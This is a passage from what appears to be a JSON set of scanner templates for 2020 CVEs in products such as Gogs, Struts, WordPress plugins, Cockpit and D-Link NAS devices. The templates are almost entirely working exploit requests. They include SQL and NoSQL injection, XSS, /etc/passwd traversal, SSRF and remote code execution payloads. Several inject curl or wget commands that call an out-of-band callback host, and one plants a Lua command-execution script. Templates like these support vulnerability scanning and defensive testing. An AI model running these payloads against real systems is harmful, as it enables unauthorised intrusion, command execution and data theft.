8.4.1.24 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["autofocus onfocus='alert(document.domain)","Extreme Management Center"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15867","info":{"name":"Gogs 0.5.5 - 0.12.2 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n","GET /repo/create HTTP/1.1\nHost: {{Hostname}}\n","POST /repo/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&private=on&description=&gitignores=&license=&readme=Default&auto_init=on\n","POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}\n","GET /{{username}}/{{randstr}}/_new/master HTTP/1.1\nHost: {{Hostname}}\n","POST /{{username}}/{{randstr}}/_new/master HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body_1","words":["content=\"Gogs"]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"auth_csrf","group":1,"regex":["name=\"_csrf\" content=\"(.*)\""],"internal":true},{"type":"regex","name":"last_commit","group":1,"regex":["name=\"last_commit\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2020-35848","info":{"name":"Agentejo Cockpit <0.12.0 - NoSQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/auth/newpassword"],"body":"{\n \"token\": {\n \"$func\": \"var_dump\"\n }\n}\n","headers":{"Content-Type":"application/json"},"matchers":[{"type":"regex","part":"body","regex":["string\\([0-9]{1,3}\\)(\\s)?\"rp-([a-f0-9-]+)\""]}]}]},{"id":"CVE-2020-6207","info":{"name":"SAP Solution Manager 7.2 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /EemAdminService/EemAdmin HTTP/1.1\nHost: {{Hostname}}\nSOAPAction: \"\"\nContent-Type: text/xml; charset=UTF-8\nConnection: close\n\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:adm=\"http://sap.com/smd/eem/admin/\"><soapenv:Header/><soapenv:Body><adm:getAllAgentInfo/></soapenv:Body></soapenv:Envelope>\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[":Envelope",":Body",":getAllAgentInfoResponse"],"condition":"and"},{"type":"word","part":"header","words":["text/xml","SAP NetWeaver Application Server"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-7136","info":{"name":"HPE Smart Update Manager < 8.5.6 - Remote Unauthorized Access","severity":"critical"},"requests":[{"raw":["POST /session/create HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"hapi\":{\"username\":\"Administrator\",\"password\":\"any_password\",\"language\":\"en\",\"mode\":\"gui\", \"usesshkey\":true, \"privatekey\":\"any_privateky\", \"passphrase\":\"any_passphase\",\"settings\":{\"output_filter\":\"passed\",\"port_number\":\"444\"}}}\n","GET /session/{{sessionid}}/node/index HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["hmessage","Command completed successfully.","node_name"],"condition":"and"}],"extractors":[{"type":"regex","name":"sessionid","group":1,"regex":["\"sessionId\":\"([a-z0-9.]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-7796","info":{"name":"Zimbra Collaboration Suite < 8.8.15 Patch 7 - Server-Side Request Forgery","severity":"critical"},"requests":[{"raw":["GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://{{interactsh-url}}%23 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-9425","info":{"name":"rConfig <3.9.4 - Sensitive Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/settings.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["defaultNodeUsername","defaultNodePassword"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8191","info":{"name":"Citrix ADC/Gateway - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /menu/stapp HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nX-NITRO-USER: xpyZxwy6\n\nsid=254&pe=1,2,3,4,5&appname=%0a&au=1&username=nsroot\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-22208","info":{"name":"74cms - ajax_street.php 'x' SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/plus/ajax_street.php?act=alphabet&x=11\ufffd%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5({{num}}),9%20from%20qs_admin#"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2020-14408","info":{"name":"Agentejo Cockpit 0.10.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/auth/login?to=/92874%27;alert(document.domain)//280"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["redirectTo = '/92874';alert(document.domain)//280';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-28976","info":{"name":"WordPress Canto 1.3.0 - Blind Server-Side Request Forgery","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}","{{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}}","{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["null"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-23972","info":{"name":"Joomla! Component GMapFP 3.5 - Arbitrary File Upload","severity":"high"},"requests":[{"raw":["POST /index.php?option={{component}}&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: {{BaseURL}}\nConnection: close\n\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\nContent-Disposition: form-data; name=\"option\"\n\ncom_gmapfp\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\nContent-Disposition: form-data; name=\"image1\"; filename=\"{{name}}.html.gif\"\nContent-Type: text/html\n\nprojectdiscovery\n\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\nContent-Disposition: form-data; name=\"no_html\"\n\nno_html\n------WebKitFormBoundarySHHbUsfCoxlX1bpS--\n"],"payloads":{"component":["com_gmapfp","comgmapfp"]},"extractors":[{"type":"regex","regex":["window\\.opener\\.(changeDisplayImage|addphoto)\\(\"(.*?)\"\\);"],"part":"body"}]}]},{"id":"CVE-2020-17456","info":{"name":"SEOWON INTECH SLC-130 & SLR-120S - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/login.cgi HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nbrowserTime=081119502020¤tTime=1597159205&expires=Wed%252C%2B12%2BAug%2B2020%2B15%253A20%253A05%2BGMT&Command=Submit&user=admin&password=admin\n","POST /cgi-bin/system_log.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nCommand=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8771","info":{"name":"WordPress Time Capsule < 1.21.16 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nConnection: close\nAccept: */*\n\nIWP_JSON_PREFIX\n","GET /wp-admin/index.php HTTP/1.1\nHost: {{Hostname}}\nConnection: close\nAccept: */*\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
","

Dashboard

"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["wordpress_[a-z0-9]+=([A-Za-z0-9%]+)"],"part":"header"}]}]},{"id":"CVE-2020-26073","info":{"name":"Cisco SD-WAN vManage Software - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd"],"matchers-condition":"and","matchers":[{"type":"status","status":[200]},{"type":"regex","regex":["root:.*:0:0:"],"part":"body"}]}]},{"id":"CVE-2020-20300","info":{"name":"WeiPHP 5.0 - SQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5('999999'),0x7e),1)--+ "],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["52c69e3a57331081823331c4e69d3f2"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-35846","info":{"name":"Agentejo Cockpit < 0.11.2 - NoSQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/auth/check"],"body":"{\n \"auth\": {\n \"user\": {\n \"$eq\": \"admin\"\n },\n \"password\": [\n 0\n ]\n }\n}\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["password_verify() expects parameter"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13937","info":{"name":"Apache Kylin - Exposed Configuration File","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/kylin/api/admin/config"],"headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"word","part":"body","words":["config","kylin.metadata.url"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11530","info":{"name":"WordPress Chop Slider 3 - Blind SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout 10s\nGET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A) HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/javascript\")","contains(body, \"$(document).ready(function()\")"],"condition":"and"}]}]},{"id":"CVE-2020-23575","info":{"name":"Kyocera Printer d-COPIA253MF - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["root:.*:0:0:","bin:.*:1:1"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-36112","info":{"name":"CSE Bookstore 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /ebook/bookPerPub.php?pubid=4' HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["get book price failed! You have an error in your SQL syntax","Can't retrieve data You have an error in your SQL syntax"],"condition":"or"}]}]},{"id":"CVE-2020-35476","info":{"name":"OpenTSDB <=2.4.0 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["plotted","timing","cachehit"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24550","info":{"name":"EpiServer Find <13.2.7 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/find_v2/_click?_t_id=&_t_q=&_t_hit.id=&_t_redirect=https://interact.sh"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Location: https://interact.sh"]},{"type":"status","status":[301]}]}]},{"id":"CVE-2020-26217","info":{"name":"XStream <1.4.14 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n \n \n 0\n \n \n \n text/plain\n \n \n \n \n 0\n -1\n 1\n \n \n \n curl\n http://{{interactsh-url}}\n \n \n \n \n \n \n java.lang.ProcessBuilder\n start\n \n \n start\n \n \n \n KEYS\n \n \n \n 0\n 0\n 0\n \n \n false\n \n \n \n 0\n \n \n test\n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2020-29164","info":{"name":"PacsOne Server <7.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["1"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15227","info":{"name":"Nette Framework - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35984","info":{"name":"Rukovoditel <= 2.7.2 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=users_alerts/users_alerts&action=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0¬es=test\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2020-17530","info":{"name":"Apache Struts 2.0.0-2.5.25 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2020-35598","info":{"name":"Advanced Comment System 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24589","info":{"name":"WSO2 API Manager <=3.1.0 - Blind XML External Entity Injection","severity":"critical"},"requests":[{"raw":["POST /carbon/generic/save_artifact_ajaxprocessor.jsp HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npayload=<%3fxml+version%3d\"1.0\"+%3f>%25xxe%3b]>\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["Failed to install the generic artifact type"]}]}]},{"id":"CVE-2020-25213","info":{"name":"WordPress File Manager Plugin - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: multipart/form-data; boundary=------------------------ca81ac1fececda48\n\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name=\"reqid\"\n\n17457a1fe6959\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name=\"cmd\"\n\nupload\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name=\"target\"\n\nl1_Lw\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name=\"mtime[]\"\n\n1576045135\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"poc.txt\"\nContent-Type: text/plain\n\npoc-test\n--------------------------ca81ac1fececda48--\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["poc.txt","added"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9047","info":{"name":"exacqVision Web Service - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/version.web"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["3.10.4.72058","3.12.4.76544","3.8.2.67295","7.0.2.81005","7.2.7.86974","7.4.3.89785","7.6.4.94391","7.8.2.97826","8.0.6.105408","8.2.2.107285","8.4.3.111614","8.6.3.116175","8.8.1.118913","9.0.3.124620","9.2.0.127940","9.4.3.137684","9.6.7.145949","9.8.4.149166","19.03.3.152166","19.06.4.157118","19.09.4.0","19.12.2.0","20.03.2.0","20.06.3.0"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13945","info":{"name":"Apache APISIX - Insufficiently Protected Credentials","severity":"medium"},"requests":[{"raw":["POST /apisix/admin/routes HTTP/1.1\nHost: {{Hostname}}\nX-API-KEY: edd1c9f034335f136f87ad84b625c8f1\nContent-Type: application/json\n\n{\n \"uri\":\"/{{randstr}}\",\n \"script\":\"local _M = {} \\n function _M.access(conf, ctx) \\n local os = require('os')\\n local args = assert(ngx.req.get_uri_args()) \\n local f = assert(io.popen(args.cmd, 'r'))\\n local s = assert(f:read('*a'))\\n ngx.say(s)\\n f:close() \\n end \\nreturn _M\",\n \"upstream\":{\n \"type\":\"roundrobin\",\n \"nodes\":{\n \"interact.sh:80\":1\n }\n }\n}\n","GET /{{randstr}}?cmd=id HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"action\":\"create\"","\"script\":","\"node\":"],"condition":"and"},{"type":"status","status":[201]}],"extractors":[{"type":"regex","regex":["((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"]}]}]},{"id":"CVE-2020-24186","info":{"name":"WordPress wpDiscuz <=7.0.4 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /?p=1 HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary88AhjLimsDMHU1Ak\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\n\n------WebKitFormBoundary88AhjLimsDMHU1Ak\nContent-Disposition: form-data; name=\"action\"\n\nwmuUploadFiles\n------WebKitFormBoundary88AhjLimsDMHU1Ak\nContent-Disposition: form-data; name=\"wmu_nonce\"\n\n{{wmuSecurity}}\n------WebKitFormBoundary88AhjLimsDMHU1Ak\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\n\nundefined\n------WebKitFormBoundary88AhjLimsDMHU1Ak\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\"rce.php\"\nContent-Type: image/png\n\n{{base64_decode('/9j/4WpFeGlmTU0q/f39af39Pv39/f39/f39/f2o/f39/cD9/f39/f39/f39/f/g/UpGSUb9/f39/9tD/f0M/QwK/f0=')}}\n\n------WebKitFormBoundary88AhjLimsDMHU1Ak\nContent-Disposition: form-data; name=\"postId\"\n\n1\n------WebKitFormBoundary88AhjLimsDMHU1Ak--\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["success\":true","fullname","shortname","url"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"wmuSecurity","group":1,"regex":["wmuSecurity\":\"([a-z0-9]+)"],"internal":true,"part":"body"},{"type":"regex","group":1,"regex":["\"url\":\"([a-z:\\\\/0-9-.]+)\""],"part":"body"}]}]},{"id":"CVE-2020-22211","info":{"name":"74cms - ajax_street.php 'key' SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5({{num}}),9%23"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2020-24903","info":{"name":"Cute Editor for ASP.NET 6.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS\";>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["

","System.Web"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27361","info":{"name":"Akkadian Provisioning Manager 4.50.02 - Sensitive Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/pme/media/"],"matchers-condition":"and","matchers":[{"type":"word","words":["Index of /pme/media","Parent Directory"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27982","info":{"name":"IceWarp WebMail 11.4.5.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2551","info":{"name":"Oracle WebLogic Server - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/console/login/LoginForm.jsp"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["10.3.6.0","12.1.3.0","12.2.1.3","12.2.1.4"],"condition":"or"},{"type":"word","part":"body","words":["WebLogic"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24391","info":{"name":"Mongo-Express - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /checkValid HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndocument=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++\n","GET /public/css/{{randstr}}.css HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body_3","regex":["((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"]}]}]},{"id":"CVE-2020-25506","info":{"name":"D-Link DNS-320 - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/system_mgr.cgi? HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n\nC1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'`\n","POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2020-14179","info":{"name":"Atlassian Jira Server/Data Center <8.5.8/8.6.0 - 8.11.1 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/secure/QueryComponent!Default.jspa"],"matchers-condition":"and","matchers":[{"type":"word","words":["{\"searchers\":","\"groups\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11546","info":{"name":"SuperWebmailer 7.21.0.01526 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /mailingupgrade.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nstep=1&Language=de{${system(\"ls\")}}&NextBtn=Weiter+%3E\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ajax_ccea.php","ajax_getemailingactions.php","ajax_getemailtemplates.php"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15500","info":{"name":"TileServer GL <=3.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["'>\""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-36510","info":{"name":"WordPress 15Zine <3.3.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-23697","info":{"name":"Monstra CMS 3.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /admin/index.php?id=dashboard HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlogin={{username}}&password={{password}}&login_submit=Log+In\n","GET /admin/index.php?id=pages&action=add_page HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","POST /admin/index.php?id=pages&action=add_page HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncsrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15\n","GET /{{string}} HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["contains(header_4, \"text/html\")","status_code_4 == 